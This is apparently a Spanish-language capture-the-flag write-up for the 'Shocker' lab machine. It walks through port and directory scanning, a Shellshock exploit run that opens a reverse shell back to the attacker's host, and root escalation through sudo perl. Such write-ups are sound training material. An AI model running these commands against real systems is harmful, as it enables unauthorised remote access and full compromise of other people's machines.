Shocker - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos abiertos con nmap:

```
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5
Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBT
qNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi
9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Realizamos un escaneo de directorios del puerto 80 de la maquina victima. ES IMPORTANTE AÑADIR LA FLAG "--ADD-SLASH" PARA QUE ENCUENTRE LOS DIRECTORIOS

```
└─$ gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/d
txt,asp,aspx -t 200 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.56/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/direc
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,asp,html,png,jpg,zip,aspx,php,js
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html/               (Status: 403) [Size: 292]
/cgi-bin/             (Status: 403) [Size: 294]
/icons/               (Status: 403) [Size: 292]
```

Como vemos que hay un directorio "cgi-bin" en el puerto 80 de apache, podemos pensar que se esten ejecutando scripts en su interior, como no nos permite ver los archivos del directorio vamos a realizar un ataque de fuerza bruta para localizar los script, para ello vamos a añadir las extensiones "sh, pl y cgi":

```
└─$ gobuster dir -u http://10.10.10.56/cgi-bin/ -w /us
png,zip,txt,asp,aspx,cgi,pl,sh -t 200 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@fi
===============================================================
[+] Url:                     http://10.10.10.56/cgi-bi
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirb
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,png,zip,aspx,pl,
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html/               (Status: 403) [Size: 300]
/user.sh/             (Status: 200) [Size: 119]
```

Vemos que se esta ejecutando un script llamado user.sh:

```
└─$ cat user.sh
Content-Type: text/plain

Just an uptime test script

 12:48:24 up 53 min,  0 users,  load average: 0.00, 0.08, 0.17
```

Como hay un temporizador quiere decir que hay un script ejecutandose continuamente. Podemos probar a ver si es vulnerable a "Apache mod_cgi - 'Shellshock' Remote Command Injection":

https://www.exploit-db.com/exploits/34900

```
└─$ python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.7 lport=1234 pages=/cgi-bin/user.sh/
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh/
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> whoami
shelly
```

ESCALADA DE PRIVILEGIOS

Vamos a ver los comandos que puedo ejecutar como sudo:

```
shelly@Shocker:/home$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```

Como podemos ejecutar el comando perl como sudo vamos a invocar una bash con privilegios de administrador:

```
shelly@Shocker:/home$ sudo perl -e 'exec "/bin/sh";'
# whoami
root
```